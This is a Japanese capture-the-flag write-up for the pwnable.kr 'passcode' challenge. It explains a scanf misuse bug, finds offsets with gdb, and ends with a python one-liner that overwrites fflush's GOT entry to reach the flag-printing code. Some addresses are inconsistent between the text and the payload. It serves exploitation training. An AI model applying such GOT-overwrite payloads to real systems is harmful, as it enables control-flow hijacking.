pwnable.krのメモ【passcode】
以下、問題文。
Mommy told me to make a passcode based login system. My initial C code was compiled without any error! Well, there was some compiler warning, but who cares about that? ssh passcode@pwnable.kr -p2222 (pw:guest)
まず sshで接続すると、passcode、passcode.c、flag の3つのファイルがある。 とりあえず実行
$ ./passcode Toddler's Secure Login System 1.0 beta. enter you name : hoge Welcome hoge ! enter passcode1 : 338150 Segmentation fault
Segmentation fault が起きる(338150を入力したのはpasscode.cに以下の条件式があったから)。
if(passcode1==338150 && passcode2==13371337){
問題の箇所は以下のコードっぽい。本来scanf関数の第2引数はアドレスを渡さなければならないのに変数がそのまま入ってしまっている。
scanf("%d", passcode1);
ここからはgdbでみて行く。
gdb-peda$ disas welcome
上記のコマンドを実行すると、lea edx, [ebp-0x70]
と書いてあることから、変数 name は[ebp-0x70] にあるだろうと推測できる。
gdb-peda$ disas login
また、上記のコマンドを実行すると、mov edx, [ebp-0x10]
と書いてあることから、変数passcode1は[ebp-0x10]にあるだろうと推測することができる。
0x70-0x10 = 96 なので、nameに格納できる100byteのうち、残りの4byteでpasscode1を上書きできることがわかる。
gdb-peda$ disas fflush
上記のコマンドの結果より<fflush@plt>
がcallされた時に0x804a004
にジャンプしていることがわかる.
fflush関数のGOTアドレス0x80a004
をflagを表示しているアドレスに書き換えることで、fflush関数が呼ばれた時にflagを表示するようにする。
flagを表示している箇所のアドレスは0x80487af
だと推測できるので、あとは以下のコマンドで書き換える。
python -c "print 96*'A'+'\x04\xa0\x04\x08'+'134514147'" | ./passcode